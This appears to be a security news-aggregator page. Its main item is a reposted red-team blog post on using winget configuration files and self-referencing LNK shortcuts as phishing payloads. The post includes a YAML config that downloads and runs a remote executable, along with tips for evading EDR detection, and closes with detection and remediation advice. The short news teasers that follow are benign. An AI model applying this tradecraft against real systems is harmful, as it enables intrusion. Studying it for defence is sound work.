BackBox.org offers a range of Penetration Testing services to simulate an attack on your network or application. If you are interested in our services, please contact us and we will provide you with further information as well as an initial consultation.
WinGet Desired State: Initial Access Established
/in General NewsWhen tasked to design a payload for an initial access scenario for a red teaming project, we typically look for inspiration in:
That is when my colleague Sylvain noticed the
.wingetextension mapped to the following command, allowing easy execution with a double click:While the abuse potential of winget is not new, it seems to be largely neglected by the defensive security community. This is also indicated by its absence from the aforementioned dangerous file block lists. A reason might be that the legitimate functionality is actively promoted by Microsoft to install e.g., developer dependencies in a streamlined way:
From an offensive security perspective it is convenient that the Mark of the Web (MoTW) is not taken into consideration and no SmartScreen integration seems to exist.
Quick Introduction
So what is the winget configuration functionality? It is built upon (PowerShell) Desired State Configuration (DSC) a declarative system configuration management platform. If you are familiar with Ansible, similar concepts apply where individual, ideally idempotent, configuration steps should result in a consistent system state.
The configure component requires extended features, which if needed, can be enabled from a low-privileged user context with:
The default resources facilitate access to environment variables and the registry, support archive extraction and process creation as well as PowerShell script execution. More than enough functionality to phish for persistence using one of the numerous techniques. As a basic example the following configuration file downloads and runs Sysinternals’ Process Explorer:
properties: configurationVersion: 0.2.0 resources: - resource: PSDscResources/Script directives: description: Download ProcessExplorer.zip from remote URL settings: SetScript: "Invoke-WebRequest -Uri 'https://download.sysinternals.com/files/ProcessExplorer.zip' -OutFile 'C:\Windows\Temp\ProcessExplorer.zip' -UseBasicParsing" GetScript: $false TestScript: $false - resource: PSDscResources/Archive directives: description: Extract ProcessExplorer.zip settings: Path: C:WindowsTempProcessExplorer.zip Destination: C:WindowsTempExtracted Ensure: Present - resource: PSDscResources/WindowsProcess directives: description: Run ProcessExplorer.exe from extracted archive settings: Path: C:WindowsTempExtractedprocexp64.exe Arguments: "-accepteula"From an offensive security perspective winget is a nice proxy for PowerShell execution using legitimate system functionality intended for configuration tasks. The underlying system changes are performed by the
ConfigurationRemotingServer.exeprocess. This has some similarities to scripts being deployed using SCCM where they are executed throughCcmExec.exeand often less scrutinized. If needed, all referenced PowerShell resources are automatically downloaded from the PowerShell Gallery and stored in%LOCALAPPDATA%MicrosoftWinGetConfigurationModules.From an end-user point of view double clicking such a
.wingetfile looks as follows:.wingetfile.When attempting to convince a phishing target to execute such a payload, there are a number of undesirable properties:
Y(ory, case does not matter)--waitcommand line option, the console application remains open after executionReducing Required User Interaction
Explicit user input can be avoided by either:
--accept-configuration-agreementsecho y | winget ...The output can be suppressed by redirecting it to
>nul.All these options require direct control of the winget invocation which means the configuration file can no longer be used on its own, but needs to be applied through some trigger file. The most obvious approach is to use a LNK shortcut. This replaces the need for interactive keyboard input with an additional MoTW related security warning dialog which end users are hopefully more likely to accept. Because winget also applies configurations hosted on web servers, the first attempt was to use a shortcut executing:
While the LNK contained within a ZIP archive could be delivered to the endpoint through HTML smuggling, subsequent execution failed.
At this point we decided to try a technique discussed by Emeric Nasi in his Offensive X talk Breach The Gate: Advanced Initial Access Craft 2024:
The idea is to craft a LNK shortcut which:
moreTo locate the delivered LNK file, we assume that the user either extracted the ZIP archive in the downloads folder or simply opened the archive. In the latter case Windows extracts the selected file to a temporary directory such as:
%TMP%2af79810-65c9-4d8d-8a63-5f003ab362c8_update.zip.2c8update.lnk.Combining steps 1-4 from the above list, results in a shortcut like:
At this point I thought there is no chance that this would fly past a modern EDR.
For Microsoft Defender for Endpoint (MDE) it seems to be important that the size of the LNK file as a whole i.e., with the appended data is kept as small as possible. Otherwise alerts such as the one below are generated:
Some practical tips from my limited experience:
winget configureuse the aliaswinget dsc.wingetjust use.ymlor omit it completely[System.IO.Compression.ZipFile]::ExtractToDirectoryinstead ofExpand-Archiveto avoid the creation of an additionalpowershell.exeprocess.pdf.lnktimeout /t 1echo Y | ...construct, use something else likeecho y > x & type x | ...or apply slight DOSfuscationThe source code for the legacy PowerShell script resource, newer class-based DSC resources, the core PSDesiredStateConfiguration module as well as the winget utility itself is available on GitHub for further inspection. For example, revealing that
System.Management.Automationis used for the PowerShell execution, meaning your script will be passed through AMSI.This technique can also be combined with other LNK related tradecraft to hide the executed commands from a curious user when inspecting the shortcut properties.
Detection
To check whether the feature is (ab)used in your environment you can try to run the following KQL query which lists all winget configure invocations. It is important that the substring matching is performed case insensitively:
On affected machines applied configurations and their origin can be listed with:
Furthermore, winget logs all performed invocations in a directory opened by
winget --logs. By default the execution time and the used command line arguments are recorded. If the logging verbosity is increased through the configuration file opened bywinget settings, the complete configuration instructions and execution of individual steps are also logged.Remediation
Assuming the winget functionality is not needed at all, the attack surface can be mitigated by disabling the complete Microsoft Store or more specifically the Windows Package Manager (winget) through the
EnableAppInstallerpolicy. General application whitelisting solutions such as Windows Defender Application Control (WDAC) provide another way to prevent execution.If the Windows package manager is needed, the configuration sub command described in this blog can be individually disabled with the
EnableWindowsPackageManagerConfigurationpolicy directive.If for whatever reason this is not possible, then consider to at least remove the
.wingetfile association. While this does not prevent the LNK shenanigans, it removes the possibility to execute configuration files by simple double clicking them, thereby increasing the required social engineering effort.Conclusion
We presented a viable initial access payload by chaining two known techniques: winget as a living off the land binary to invoke PowerShell scripts and self-referencing Windows shortcuts as a combined delivery and execution mechanism.
Whenever possible defenders should reduce the attack surface of their systems by disabling unused Windows components and features such as the Microsoft Store, the Windows Package Manager (winget) or its configuration feature.
Compass Security Blog – Read More
Researchers Uncover Method to Track Cars via Tire Sensors
/in General NewsUsing low-cost receivers deployed along roads, academic researchers tracked drivers and their movement patterns.
The post Researchers Uncover Method to Track Cars via Tire Sensors appeared first on SecurityWeek.
SecurityWeek – Read More
How Journalists Are Reporting From Iran With No Internet
/in General NewsAfter strikes killed senior Iranian officials, Iran cut off internet access. Journalists are relying on satellite links, encrypted apps, and smuggled footage to report from inside the country.
Security Latest – Read More
SloppyLemming Targets Pakistan and Bangladesh Governments Using Dual Malware Chains
/in General NewsThe threat activity cluster known as SloppyLemming has been attributed to a fresh set of attacks targeting government entities and critical infrastructure operators in Pakistan and Bangladesh.
The activity, per Arctic Wolf, took place between January 2025 and January 2026. It involves the use of two distinct attack chains to deliver malware families tracked as BurrowShell and a Rust-based
The Hacker News – Read More
Google Confirms CVE-2026-21385 in Qualcomm Android Component Exploited
/in General NewsGoogle on Monday disclosed that a high-severity security flaw impacting an open-source Qualcomm component used in Android devices has been exploited in the wild.
The vulnerability in question is CVE-2026-21385 (CVSS score: 7.8), a buffer over-read in the Graphics component.
“Memory corruption when adding user-supplied data without checking available buffer space,” Qualcomm said in an advisory,
The Hacker News – Read More
Critical OpenClaw Vulnerability Exposes AI Agent Risks
/in General NewsThe now-patched flaw is the latest in a growing string of security issues associated with the viral AI tool, which has seen rapid adoption among developers.
darkreading – Read More
A new app alerts you if someone nearby is wearing smart glasses
/in General NewsA hobbyist developer’s new app, which can detect nearby smart glasses, comes amid resistance to always-on recording and listening devices that invade people’s privacy.
Security News | TechCrunch – Read More
Lenovo’s new PCs offer a glimpse of the future – and it’s modular
/in General NewsAt MWC 2026, Lenovo previewed a mix of new laptops and bold conceptual devices that push the boundaries of personal computing.
Latest news – Read More
Hands-on with Lenovo’s modular laptop: a promising concept (and not too far-fetched)
/in General NewsLenovo’s dual-screen modular laptop can take on multiple configurations, but the feature I’m most excited about is a little more low-key.
Latest news – Read More
Rolling out AI? 5 security tactics your business can’t get wrong – and why
/in General NewsHere’s how the experts have established strong processes and policies to help their organizations secure data and embrace AI services.
Latest news – Read More